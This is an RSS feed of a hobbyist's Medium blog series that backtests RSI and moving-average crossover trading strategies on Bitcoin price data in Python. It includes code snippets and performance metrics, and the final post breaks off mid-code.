<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Genshi on Medium]]></title>
        <description><![CDATA[Stories by Genshi on Medium]]></description>
        <link>https://medium.com/@AtomicScript?source=rss-c728a38d36c4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZT0DEfvdVl0quUD_2N6_PQ.jpeg</url>
            <title>Stories by Genshi on Medium</title>
            <link>https://medium.com/@AtomicScript?source=rss-c728a38d36c4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 18:34:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@AtomicScript/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Episode 4: Testing the MA Crossover Strategy]]></title>
            <link>https://medium.com/@AtomicScript/episode-4-testing-the-ma-crossover-strategy-1ab2a2a6e0bc?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ab2a2a6e0bc</guid>
            <category><![CDATA[trading]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[quant-trading]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[technical-analysis]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sun, 31 Aug 2025 10:45:12 GMT</pubDate>
            <atom:updated>2025-08-31T10:45:12.155Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Do Moving Averages Work? A Quant Backtest of the Classic Strategy</em></p><h3>Introduction</h3><p>After testing RSI strategies, I wanted to explore another classical technical tool: the <strong>Moving Average (MA) crossover</strong>. This strategy is well-known for its <em>Golden Cross</em> (bullish) and <em>Death Cross</em> (bearish) signals.</p><p>For this experiment, I used the <strong>50-period MA</strong> as the short-term trend and the <strong>200-period MA</strong> as the long-term trend. Later, I plan to compare this with a <strong>20/100 crossover</strong> to see how results differ on the same historical candles.</p><h4>What is MA</h4><p>A <strong>moving average</strong> is a simple way to smooth price data. It calculates the arithmetic mean of the last <em>N</em> candles.</p><p>In this backtest:</p><ul><li>The <strong>50-period MA</strong> takes the mean of the last 50 closing prices.</li><li>The <strong>200-period MA</strong> takes the mean of the last 200 closing prices.</li></ul><p>MAs can help identify trend direction and are often used as <strong>dynamic support and resistance</strong> levels.</p><p><a href="https://www.investopedia.com/terms/m/movingaverage.asp">Source</a></p><h3>Trading Strategy and Logic</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*xUuYGuxlrnIdSzz6KOyXrw.png" /></figure><p>The strategy is straightforward:</p><ul><li><strong>Go long</strong> when the short MA (50) crosses above the long MA (200).</li><li><strong>Go short</strong> when the short MA (50) crosses below the long MA (200).</li></ul><p>Entries are taken <strong>after the candle closes</strong>, and I also compared results between entering immediately vs. entering after the <strong>next candle</strong> (to avoid look-ahead bias).</p><p>Risk management follows the same fixed-% risk model I used in earlier episodes to protect capital.</p><h3>Code Implementation</h3><h3>SMA Calculation</h3><p>We don’t need TA-Lib here — Pandas’ .rolling().mean() is enough.</p><pre># Short-term Moving Average (50-period)<br>df[&quot;MA50&quot;] = df[&quot;Close&quot;].rolling(window=50).mean()<br># Long-term Moving Average (200-period)<br>df[&quot;MA200&quot;] = df[&quot;Close&quot;].rolling(window=200).mean()<br># Drop NA rows and adding 2 Columns <br>df = df.dropna(subset=[&quot;MA50&quot;, &quot;MA200&quot;]).copy()</pre><h4>Adding Signals</h4><p>Signals define whether we are bullish (+1), bearish (-1), or flat.</p><p>To detect crossovers, we take the <strong>difference</strong> between today’s and yesterday’s signals:</p><ul><li><strong>+2 → Golden Cross (bullish)</strong></li><li><strong>-2 → Death Cross (bearish)</strong></li><li><strong>0 → No crossover</strong></li></ul><pre>df[&quot;Position&quot;] = df[&quot;Signal&quot;].diff().fillna(0) <br><br># Entry/exit markers<br>df[&quot;EntryLong&quot;]  = (df[&quot;Position&quot;] ==  2)<br>df[&quot;ExitLong&quot;]   = (df[&quot;Position&quot;] == -2)</pre><h3>Backtesting Updated Code</h3><p>I updated my RSI trade loop to use MA crossovers instead of RSI levels:</p><pre>for i in range(1, len(df)):<br>    price = df[&quot;Close&quot;].iloc[i]<br>    time  = df.index[i]<br><br>    if not in_position:<br>        if df[&quot;Position&quot;].iloc[i] ==  2: <br>            # enter LONG<br>        elif df[&quot;Position&quot;].iloc[i] == -2: <br>            # enter SHORT<br>    else:<br>        if position_type == &quot;long&quot;:<br>            if price &lt;= stop_loss:<br>                exit_reason = &quot;Stop Loss&quot;<br>            elif price &gt;= take_profit:<br>                exit_reason = &quot;Take Profit&quot;<br>            elif df[&quot;Position&quot;].iloc[i] == -2:<br>                exit_reason = &quot;Opposite Crossover Exit&quot;<br>        else:  # short<br>            if price &gt;= stop_loss:<br>                exit_reason = &quot;Stop Loss&quot;<br>            elif price &lt;= take_profit:<br>                exit_reason = &quot;Take Profit&quot;<br>            elif df[&quot;Position&quot;].iloc[i] == 2:<br>                exit_reason = &quot;Opposite Crossover Exit&quot;</pre><h4>Performance result in 5 Minute Timeframe</h4><pre>Total Trades: 438<br><br>Total Profit: $1,652.24<br><br>Final Capital: $11,652.24<br><br>Win Rate: 35.16%<br><br>Average Win: $149.39<br><br>Average Loss: -$75.19<br><br>Profit Factor: 1.08<br><br>Max Drawdown: -28.74%<br><br>Sharpe Ratio: 0.58</pre><h4>Performance result in 15 Minute Timeframe</h4><p>Highest total profit and profit factor</p><pre>Total Trades: 190<br><br>Total Profit: $3,738.73<br><br>Final Capital: $13,738.73<br><br>Win Rate: 40.00%<br><br>Average Win: $201.97<br><br>Average Loss: -$101.85<br><br>Profit Factor: 1.32<br><br>Max Drawdown: -11.85%<br><br>Sharpe Ratio: 2.01</pre><h4>Performance result in 30 Minute Timeframe</h4><pre>Total Trades: 101<br><br>Total Profit: $611.61<br><br>Final Capital: $10,611.61<br><br>Win Rate: 32.67%<br><br>Average Win: $236.71<br><br>Average Loss: -$105.88<br><br>Profit Factor: 1.08<br><br>Max Drawdown: -16.38%<br><br>Sharpe Ratio: 0.52</pre><h4>Performance result in 1 Hour Timeframe</h4><p>Highest Winrate</p><pre>Total Trades: 60<br><br>Total Profit: $972.50<br><br>Final Capital: $10,972.50<br><br>Win Rate: 45.00%<br><br>Average Win: $209.10<br><br>Average Loss: -$141.61<br><br>Profit Factor: 1.21<br><br>Max Drawdown: -9.74%<br><br>Sharpe Ratio: 1.85</pre><h4>Performance result in 4 Hour Timeframe</h4><p>Highest average Wins</p><pre>Total Trades: 13<br><br>Total Profit: -$1,484.25<br><br>Final Capital: $8,515.75<br><br>Win Rate: 15.38%<br><br>Average Win: $300.67<br><br>Average Loss: -$189.60<br><br>Profit Factor: 0.29<br><br>Max Drawdown: -17.61%<br><br>Sharpe Ratio: -16.19</pre><h3>Conclusion</h3><ul><li>The <strong>MA crossover strategy works better on mid timeframes (15m, 1h)</strong>, showing higher win rates and profit factors.</li><li>On <strong>very short (5m)</strong> or <strong>very long (4h)</strong> timeframes, the strategy struggled — mainly due to whipsaws or low trade count.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ab2a2a6e0bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Episode 3 : RSI Crossover Strategy]]></title>
            <link>https://medium.com/@AtomicScript/episode-3-rsi-crossover-strategy-1273d8b3f290?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1273d8b3f290</guid>
            <category><![CDATA[backtesting]]></category>
            <category><![CDATA[algorithmic-trading]]></category>
            <category><![CDATA[quantitative-trading]]></category>
            <category><![CDATA[technical-analysis]]></category>
            <category><![CDATA[crypto-trading]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 13:27:54 GMT</pubDate>
            <atom:updated>2025-08-24T13:30:33.878Z</atom:updated>
            <content:encoded><![CDATA[<h3><em>Episode 3 : </em>I Backtested RSI Crossovers on Bitcoin — Here’s What I Learned (and Why the 4H Chart Wins)</h3><p>Testing RSI crossovers across 5m, 15m, 1H, and 4H timeframes — the results may surprise you.</p><h4>Introduction</h4><p>In my last experiment, I built a simple RSI reversal strategy: buy when RSI dipped below 30 and sell when it climbed above 70. The issue with this approach is that RSI can stay overbought or oversold for a long time, which often leads to entering trades too early.</p><p>Then came a very insightful comment from Bill Cochrane (thank you, Bill 🙏). He suggested a small but powerful adjustment: instead of acting the moment RSI hits those extreme levels, wait for the <strong>crossover back through them</strong>. In other words:</p><ul><li>Enter long <strong>only when RSI crosses up through 30</strong>.</li><li>Enter short <strong>only when RSI crosses down through 70</strong>.</li></ul><p><em>The goal of this episode is to experiment with this RSI crossover logic.</em></p><h4>Concept: RSI Crossover</h4><p>The idea is simple: instead of buying <em>just because</em> RSI is below 30, we wait until RSI actually crosses <strong>back above 30</strong>. The same goes for shorts — we don’t sell the instant RSI goes over 70, we wait until it <strong>crosses back below 70</strong>.</p><p>This crossover acts as a <strong>confirmation</strong> that momentum has shifted.</p><ul><li>Example: In the BTC/USDT chart, the first green box shows RSI dipping below 30 (oversold), then shooting back above it → long entry.</li><li>Later, the red box shows RSI climbing above 70 (overbought), then crossing back below → short entry.</li></ul><p>This prevents blindly catching falling knives or fading strong rallies — instead, we wait for RSI to prove the turn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YXjoOz2ZYvZuHFqMWKVxlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*2CYKEXYwyro1fsJCvV26Ug.png" /></figure><blockquote>I have used trade view short and long position to confirm. The first two RSI cross over shows profit the second long shows loss and the last one shows 1% profit which would be ignored by my code as my exit strategy is to only leave is 1% loss or 2% profit.</blockquote><h4>Updated Code</h4><p>To implement this, I updated my loop to store the previous RSI value and compare it with the current one.</p><pre>if not in_position and (rsi_prev &lt; 30 and rsi &gt;= 30):<br>    # Long entry on cross UP through 30<br><br>elif not in_position and (rsi_prev &gt; 70 and rsi &lt;= 70):<br>    # Short entry on cross DOWN through 70</pre><p>The rest of the code remains similar (stop-loss, take-profit, position sizing). This ensures trades are only triggered when RSI crosses through the threshold, not just when it’s sitting there.</p><h4>Backtest: 5-Minute Timeframe</h4><p>I ran the updated strategy on <strong>one full year of 5-minute BTC/USDT data</strong>.</p><ul><li><strong>Initial capital:</strong> $10,000</li><li><strong>Total profit:</strong> –$9,385.77</li><li><strong>Final capital:</strong> $614.23</li><li><strong>Win rate:</strong> 34.74%</li><li><strong>Profit factor:</strong> 0.94</li><li><strong>Max drawdown:</strong> –111.38%</li><li><strong>Sharpe ratio:</strong> –0.45</li></ul><p>Brutal. The drawdown was insane and the system blew up quickly. This proves what most quants know: a single indicator strategy is <strong>not enough</strong> to be consistently profitable.</p><h4>Testing on Different Timeframes</h4><p>I suspected the issue might be the timeframe. <em>so I tested the crossover strategy on different candle sizes.</em></p><p><strong>Metrics on 15 minutes timeframe</strong></p><pre>Total Trades: 15<br>Total Profit: $247.02<br>Final Capital: $10247.02<br>Win Rate: 73.33%<br>Average Win: $57.53<br>Average Loss: $-96.44<br>Profit Factor: 1.64<br>Max Drawdown: -1.43%<br>Sharpe Ratio: 2.61</pre><p>Works decently. High win rate, but average losses are larger than wins.</p><p><strong>Metrics on 30 minutes timeframe</strong></p><pre>Total Trades: 24<br>Total Profit: $-112.07<br>Final Capital: $9887.93<br>Win Rate: 66.67%<br>Average Win: $75.12<br>Average Loss: $-164.26<br>Profit Factor: 0.91<br>Max Drawdown: -5.79%<br>Sharpe Ratio: -0.48</pre><p>Unprofitable. Losses outweigh gains, Sharpe negative.</p><p><strong>Metrics on 1 hour timeframe</strong></p><pre>Total Trades: 16<br>Total Profit: $269.26<br>Final Capital: $10269.26<br>Win Rate: 50.00%<br>Average Win: $193.56<br>Average Loss: $-159.90<br>Profit Factor: 1.21<br>Max Drawdown: -5.35%<br>Sharpe Ratio: 0.95</pre><p>Break-even system. Coin toss win rate, but average win larger than loss.</p><p><strong>Metrics on 4 hour timeframe</strong></p><pre>Total Trades: 25<br>Total Profit: $1784.65<br>Final Capital: $11784.65<br>Win Rate: 60.00%<br>Average Win: $228.43<br>Average Loss: $-164.18<br>Profit Factor: 2.09<br>Max Drawdown: -5.20%<br>Sharpe Ratio: 5.13</pre><p><strong>Best results.</strong> Fewer but higher-quality trades, solid profitability, excellent Sharpe ratio.</p><h4>Conclusion</h4><p><strong>RSI crossover works much better on higher timeframes.</strong> Noise kills it on low TFs, but on 4H charts, signals are cleaner and actually tradable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1273d8b3f290" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Zero to Quant] (Ep 2) RSI Strategy — I Made $8K With RSI… But Is It Actually a Good Strategy?]]></title>
            <link>https://medium.com/@AtomicScript/zero-to-quant-ep-2-rsi-strategy-i-made-8k-with-rsi-but-is-it-actually-a-good-strategy-c43beb7b10e6?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c43beb7b10e6</guid>
            <category><![CDATA[backtesting-strategy]]></category>
            <category><![CDATA[backtesting]]></category>
            <category><![CDATA[quantitative-finance]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[trading]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 12:39:06 GMT</pubDate>
            <atom:updated>2025-08-03T12:39:06.379Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Zero to Quant] (Ep 2) RSI Strategy — I Made $8K With RSI… But Is It Actually a Good Strategy?</h3><h3>Introduction</h3><p>Over the past few days, I’ve been reflecting on the logic behind the RSI strategy I built in Episode 1 and to be honest, I wasn’t satisfied. The code wasn’t realistic, didn’t consistently lead to profitable trades, and didn’t reflect how I would actually manage risk in a real trade.</p><p>My goals for improving the strategy were:</p><ul><li>Increase dataset depth (1+ year)</li><li>Add stop-loss &amp; take-profit conditions</li><li>Add position sizing logic</li><li>Add performance metrics (win rate, drawdown, etc.)</li></ul><p><a href="https://github.com/AtomicScript/MetaGross">GitHub - AtomicScript/MetaGross: Learning Alg Trading</a></p><h4>Improving the Dataset by Increasing Data Depth</h4><p>I wanted to upgrade the dataset from just 1,000 5-minute candles to over <strong>100,000</strong>, pulled directly from Binance using their official API. I added two code blocks — one to initiate the Binance connection, and one to paginate through the historical data. The full pull takes around 2 minutes.</p><p>Because Binance only allows <strong>1,500 candles per request</strong>, I created an all_candles list to append each batch until the target range was reached. Once all candles were collected, I converted the list to a DataFrame, updated the timestamps, and set it as a proper time-indexed DataFrame.</p><pre>def fetch_ohlcv_full(symbol, timeframe=&#39;5m&#39;, since=None, limit=1500, max_retries=5):<br>    all_candles = []<br>    since = since or binance.parse8601(&#39;2022-08-01T00:00:00Z&#39;)  # default: 1 year ago<br>    while True:<br>        try:<br>            candles = binance.fetch_ohlcv(symbol, timeframe=timeframe, since=since, limit=limit)<br>            if not candles:<br>                break<br>            all_candles.extend(candles)<br>            # print(f&quot;Fetched {len(candles)} candles since {binance.iso8601(since)}&quot;)<br>            # Move to next batch<br>            since = candles[-1][0] + 1  # Avoid duplicate timestamps<br>            time.sleep(binance.rateLimit / 1000)<br><br>        except ccxt.NetworkError as e:<br>            print(&quot;Network error:&quot;, e)<br>            max_retries -= 1<br>            if max_retries &lt;= 0:<br>                break<br>            time.sleep(2)<br>        except Exception as e:<br>            print(&quot;Error:&quot;, e)<br>            break<br><br>    df = pd.DataFrame(all_candles, columns=[&#39;Timestamp&#39;, &#39;Open&#39;, &#39;High&#39;, &#39;Low&#39;, &#39;Close&#39;, &#39;Volume&#39;])<br>    df[&#39;Timestamp&#39;] = pd.to_datetime(df[&#39;Timestamp&#39;], unit=&#39;ms&#39;)<br>    df.set_index(&#39;Timestamp&#39;, inplace=True)<br>    return df</pre><p>Successfully fetched over <strong>300,000 candles </strong>way more than the original dataset.</p><pre>                         Open      High       Low     Close     Volume<br>Timestamp                                                             <br>2022-08-01 00:00:00  23296.36  23317.72  23262.27  23277.42  651.57251<br>2022-08-01 00:05:00  23274.75  23285.84  23257.37  23277.32  474.05582<br>2022-08-01 00:10:00  23277.32  23314.99  23272.23  23281.41  406.89184<br>2022-08-01 00:15:00  23279.80  23339.05  23265.11  23290.96  673.13135<br>2022-08-01 00:20:00  23290.96  23325.00  23276.19  23318.44  260.18358<br>Total candles fetched: 316345</pre><h4>Adding Risk Management</h4><p>I added risk management logic to simulate <strong>realistic trading conditions</strong>, including:</p><ul><li>A fixed 1% stop-loss</li><li>A 2% take-profit</li><li>Position sizing based on a 1% risk per trade</li></ul><pre>initial_balance = 10000  # Starting capital<br>risk_per_trade_pct = 1   # Risk 1% per trade<br>stop_loss_pct = 0.01     # 1% stop-loss<br>take_profit_pct = 0.02   # 2% take-profit</pre><h4>Improving the Trade Logic to include risk management</h4><p>The old code would enter a trade when RSI &lt; 30 and hold it until RSI &gt; 70. But that approach ignores the fact that you could easily lose your capital before the RSI flips.</p><p>So I fixed the logic.</p><p><strong>Entry Conditions</strong></p><ul><li>RSI &lt; 30 → triggers a buy</li><li>Stop-loss and take-profit are calculated</li><li>Position size is set so the max loss is 1% of capital</li></ul><pre># Entry condition<br>    if not in_position and rsi &lt; 30:<br>        entry_price = price<br>        entry_time = time<br>        stop_loss = entry_price * (1 - stop_loss_pct)<br>        take_profit = entry_price * (1 + take_profit_pct)<br><br>        # Calculate position size based on 1% capital risk<br>        dollar_risk = initial_balance * (risk_per_trade_pct / 100)<br>        risk_per_unit = entry_price - stop_loss<br>        position_size = dollar_risk / risk_per_unit<br><br>        in_position = True  </pre><p><strong>Exit conditions </strong>Trade closes on:</p><ul><li>Stop-loss</li><li>Take-profit</li><li>RSI &gt; 70 (called an “RSI Exit”)</li></ul><pre># Exit conditions<br>    elif in_position:<br>        if price &lt;= stop_loss:<br>            exit_reason = &quot;Stop Loss&quot;<br>        elif price &gt;= take_profit:<br>            exit_reason = &quot;Take Profit&quot;<br>        elif rsi &gt; 70:<br>            exit_reason = &quot;RSI Exit&quot;<br>        else:<br>            continue</pre><p>Each trade is logged with entry/exit time, PnL %, PnL $, position size, and exit reason.</p><pre>exit_price = price<br>        exit_time = time<br>        pnl_pct = (exit_price - entry_price) / entry_price<br>        pnl_dollars = pnl_pct * entry_price * position_size<br><br>        trades.append({<br>            &quot;Entry Time&quot;: entry_time,<br>            &quot;Exit Time&quot;: exit_time,<br>            &quot;Entry Price&quot;: entry_price,<br>            &quot;Exit Price&quot;: exit_price,<br>            &quot;PnL %&quot;: pnl_pct * 100,<br>            &quot;PnL ($)&quot;: pnl_dollars,<br>            &quot;Position Size&quot;: position_size,<br>            &quot;Exit Reason&quot;: exit_reason<br>        })<br><br>        in_position = False</pre><h4>Result of the updated logic</h4><p>After running the strategy across 1 full year of 5-minute BTC/USDT data, the system executed <strong>1,775 trades</strong>.</p><p><strong>Initial capital:</strong> $10,000<br> <strong>Total profit:</strong> $8,722<br> <strong>Final capital:</strong> $18,722<br> <strong>Net return:</strong> 87.2%</p><p>Sample of logged trades:</p><pre>              Entry Time           Exit Time  Entry Price  Exit Price  \<br>1770 2025-08-01 06:40:00 2025-08-01 12:40:00    115084.16   115882.18   <br>1771 2025-08-01 13:45:00 2025-08-01 19:20:00    114484.37   113328.83   <br>1772 2025-08-01 22:45:00 2025-08-02 04:30:00    112847.99   114050.01   <br>1773 2025-08-02 06:20:00 2025-08-02 18:25:00    113612.66   112386.19   <br>1774 2025-08-02 18:30:00 2025-08-03 03:35:00    112353.62   113630.61   <br><br>         PnL %     PnL ($)  Position Size Exit Reason  <br>1770  0.693423   69.342297       0.086893    RSI Exit  <br>1771 -1.009343 -100.934302       0.087348   Stop Loss  <br>1772  1.065167  106.516740       0.088615    RSI Exit  <br>1773 -1.079519 -107.951878       0.088018   Stop Loss  <br>1774  1.136581  113.658109       0.089005    RSI Exit  <br>Total Trades: 1775<br>Total Profit: $8722.00<br>Final Capital: $18722.00</pre><p>This performance reflects the impact of:</p><ul><li>Risking <strong>1% per trade</strong>, with dynamically calculated position sizes</li><li>Defined <strong>stop-loss (1%) and take-profit (2%)</strong> exits</li><li>RSI-driven entries with clear exit logic</li></ul><h4>Adding performance Metrics</h4><p>Profit alone isn’t enough to confirm whether a strategy is truly good — or if I just got lucky. I was honestly surprised by the $8,000 profit, but that led me to question:</p><blockquote>If RSI alone works, why doesn’t everyone just trade it?</blockquote><p>So I measured:</p><ul><li><strong>Win rate</strong></li><li><strong>Average Win &amp; Loss</strong></li><li><strong>Profit Factor</strong></li><li><strong>Drawdown</strong></li><li><strong>Sharpe ratio</strong></li></ul><pre># Adding win rate <br>win_rate = (trades_df[&quot;PnL ($)&quot;] &gt; 0).mean() * 100<br>print(f&quot;Win Rate: {win_rate:.2f}%&quot;)<br><br># Average Win &amp; Loss<br>average_win = trades_df[trades_df[&quot;PnL ($)&quot;] &gt; 0][&quot;PnL ($)&quot;].mean()<br>average_loss = trades_df[trades_df[&quot;PnL ($)&quot;] &lt; 0][&quot;PnL ($)&quot;].mean()<br>print(f&quot;Average Win: ${average_win:.2f}&quot;)<br>print(f&quot;Average Loss: ${average_loss:.2f}&quot;)<br><br># Profit Factor<br>total_gain = trades_df[trades_df[&quot;PnL ($)&quot;] &gt; 0][&quot;PnL ($)&quot;].sum()<br>total_loss = abs(trades_df[trades_df[&quot;PnL ($)&quot;] &lt; 0][&quot;PnL ($)&quot;].sum())<br>profit_factor = total_gain / total_loss if total_loss != 0 else float(&#39;inf&#39;)<br>print(f&quot;Profit Factor: {profit_factor:.2f}&quot;)<br><br># Equity curve<br>trades_df[&quot;Equity&quot;] = initial_balance + trades_df[&quot;PnL ($)&quot;].cumsum()<br>trades_df[&quot;Peak&quot;] = trades_df[&quot;Equity&quot;].cummax()<br>trades_df[&quot;Drawdown&quot;] = (trades_df[&quot;Equity&quot;] - trades_df[&quot;Peak&quot;]) / trades_df[&quot;Peak&quot;]<br>max_drawdown = trades_df[&quot;Drawdown&quot;].min()<br>print(f&quot;Max Drawdown: {max_drawdown:.2%}&quot;)<br><br># Calculate daily returns using trade equity<br>trades_df[&quot;Return&quot;] = trades_df[&quot;Equity&quot;].pct_change()<br>mean_return = trades_df[&quot;Return&quot;].mean()<br>std_return = trades_df[&quot;Return&quot;].std()<br>sharpe_ratio = (mean_return / std_return) * (252**0.5) if std_return != 0 else 0<br>print(f&quot;Sharpe Ratio: {sharpe_ratio:.2f}&quot;)</pre><h4>Interpreting the Metrics</h4><p>After upgrading the strategy with realistic risk management and running it over a full year of 5-minute BTC/USDT data, I was able to log and analyze <strong>1,775 trades</strong>. The system generated a raw profit of <strong>$8,722</strong>, growing the initial capital from <strong>$10,000 to $18,722</strong>.</p><p>To determine if the strategy is preforming good overall as the profit alone is not enough, certain metrics are introduced and the result are:</p><pre>Win Rate: 55.38%<br>Average Win: $106.73<br>Average Loss: $-121.46<br>Profit Factor: 1.09<br>Max Drawdown: -18.07%<br>Sharpe Ratio: 0.70</pre><p>The win rate is <strong>decent</strong>, but my average loss was larger than my average win — which isn’t great. The <strong>profit factor of 1.09</strong> tells me I barely earned more than I lost.</p><p>The <strong>max drawdown of 18%</strong> is tolerable but high, especially with 1% risk per trade. The <strong>Sharpe ratio of 0.70</strong> suggests the system makes money, but with a fair amount of inconsistency and volatility.</p><h4>Final thoughts</h4><p>The RSI strategy did make money — but it’s not a golden ticket.<br> The win rate is almost a coin flip, and I believe some of the gains may have been luck. To achieve real consistency, the logic needs more improvement.</p><p>RSI might work sometimes, but it’s not something I can rely on in all conditions. I need to <strong>layer in other filters</strong> — like trend confirmation (MACD, EMA), or volatility measures (ATR) — to build something I can scale and automate with confidence.</p><p>The code and system are <strong>way better than Episode 1</strong>, and I finally feel like I’m on the path to building my first real edge. My next steps:</p><ul><li>Add trend filters</li><li>Test on other symbols</li><li>Eventually automate entries with a bot</li><li>Keep researching and evolving</li></ul><blockquote><strong>Note:</strong> All results in this post are from a backtest using historical 5-minute BTC/USDT data from Binance. No real money was used, and performance in live trading may differ due to slippage, execution delay, and market changes.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3sHZMO5xQqKyekEEmybilA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c43beb7b10e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero to Quant — My First Steps into Algorithmic Trading]]></title>
            <link>https://medium.com/@AtomicScript/zero-to-quant-my-first-steps-into-algorithmic-trading-35ca9c248a54?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/35ca9c248a54</guid>
            <category><![CDATA[backtesting]]></category>
            <category><![CDATA[trading]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[quantitative-finance]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 20:54:35 GMT</pubDate>
            <atom:updated>2025-07-19T20:54:35.081Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zero to Quant — My First Steps into Algorithmic Trading</h3><p>Episode 1: RSI Strategy — My First Backtesting Experiment in Python</p><h3><strong>Introduction</strong></h3><p>I’ve recently found myself drawn into the world of <strong>day trading</strong>, especially the <strong>technical side</strong> of it. What started with reading <em>“Trading: Technical Analysis Masterclass”</em> quickly turned into a full dive into charts, indicators, and strategy building.</p><p>Because of my weekday work hours and other personal commitments, I can’t trade actively during the day — so I shifted my focus to <strong>nighttime and weekend trading</strong>, specifically in <strong>crypto</strong>, where the market runs 24/7.</p><p>To begin my journey into building trading systems, I decided to start with a classic technical indicator: <strong>RSI (Relative Strength Index)</strong>. It’s simple, popular, and easy to experiment with in Python. More importantly, it provides a great gateway into thinking like a quant — defining rules, running tests, and improving based on data.</p><p>The goal of this blog series is simple:<br> To <strong>turn knowledge into action</strong> by building and testing trading strategies from scratch — using code.</p><p>And the motivation behind it?<br> Let’s be real: <strong>money</strong>.</p><p>If I can learn how to build a strategy, test it on historical data, and verify that it works — I can automate it. That means setting up a bot that runs 24/7, trading for me even while I sleep or work. That’s the dream — <strong>earning while AFK</strong>.</p><h3><strong>What is RSI?</strong></h3><p><strong>RSI</strong> stands for <strong>Relative Strength Index</strong> — a popular momentum indicator used in financial markets to evaluate the strength and speed of recent price movements. It helps traders assess whether an asset is <strong>overbought</strong> or <strong>oversold</strong>.</p><p>In simple terms, RSI measures how many of the last candles <strong>closed up</strong> (gains) vs <strong>closed down</strong> (losses), and by how much (size of the candle). It then turns that into a number between <strong>0 and 100</strong>.</p><ul><li>RSI <strong>goes up</strong> when there’s a lot of <strong>buying</strong></li><li>RSI <strong>goes down</strong> when there’s a lot of <strong>selling</strong></li></ul><p>It becomes a bit of a self-fulfilling prophecy — when RSI is very high, traders may start selling, anticipating a correction. When it’s very low, traders may start buying, expecting a bounce.</p><h3>Trading Strategy</h3><p>When the RSI drops below <strong>30</strong>, it may indicate that the price has fallen too quickly and could be due for a bounce. This is when I want to <strong>buy</strong>.</p><p>When the RSI rises above <strong>70</strong>, it may suggest the price has gone up too fast and could be due for a correction. This is when I want to <strong>sell</strong>.</p><p>This is my starting point for learning how to <strong>build, test, and eventually automate</strong> trading strategies in Python.</p><h3><strong>Tools &amp; Libraries</strong></h3><p>For this RSI trading strategy project, I used the following tools and libraries to collect data, analyze the market, and visualize performance</p><ul><li><strong>Python</strong>: The programing langauge i have chosen</li><li><strong>Jupyter</strong>: For experimenting and running code step by step.</li><li><strong>Visual Studio Code</strong>: Preferred Code Editor</li><li><strong>ccxt</strong>: For Fetching real-time market data from Binance.</li><li><strong>Pandas</strong>: Powerful data analysis library for organizing and manipulating market data.</li><li><strong>ta</strong>: Technical Analysis library made it easy to calculate the RSI</li><li><strong>matplotlib</strong>: Used for visualizing strategy performance.</li></ul><pre># Step 1: Import Libraries<br>import pandas as pd<br>import matplotlib.pyplot as plt<br>import yfinance as yf<br>from ta.momentum import RSIIndicator<br>import ccxt</pre><h3><strong>Code Implementation</strong></h3><h4>Step 1: Collecting real time market data from Binance</h4><p>I pulled <strong>15-minute candlestick data</strong> directly from <strong>Binance</strong> using the ccxt library and converted it to dataframe</p><p>This gives me a clean table of BTC/USDT price data with:</p><ul><li>15-minute intervals</li><li>Open, High, Low, Close, Volume</li><li>Readable timestamps</li></ul><pre># Connecting to Binance and Fetching 5 min OHLCV<br>exchange = ccxt.binance()<br>symbol = &#39;BTC/USDT&#39;<br>timeframe = &#39;15m&#39;<br>limit = 1000  # max 1500 per request<br>ohlcv = exchange.fetch_ohlcv(symbol, timeframe=timeframe, limit=limit)<br><br># Convert to DataFrame<br>df = pd.DataFrame(ohlcv, columns=[&#39;Timestamp&#39;, &#39;Open&#39;, &#39;High&#39;, &#39;Low&#39;, &#39;Close&#39;, &#39;Volume&#39;])<br>df[&#39;Timestamp&#39;] = pd.to_datetime(df[&#39;Timestamp&#39;], unit=&#39;ms&#39;)<br>df.set_index(&#39;Timestamp&#39;, inplace=True)</pre><h4>Step 2: RSI Calculation</h4><pre><br># Calculating RSI <br>rsi = RSIIndicator(close=df[&quot;Close&quot;], window=14)<br>df[&quot;RSI&quot;] = rsi.rsi()<br><br># 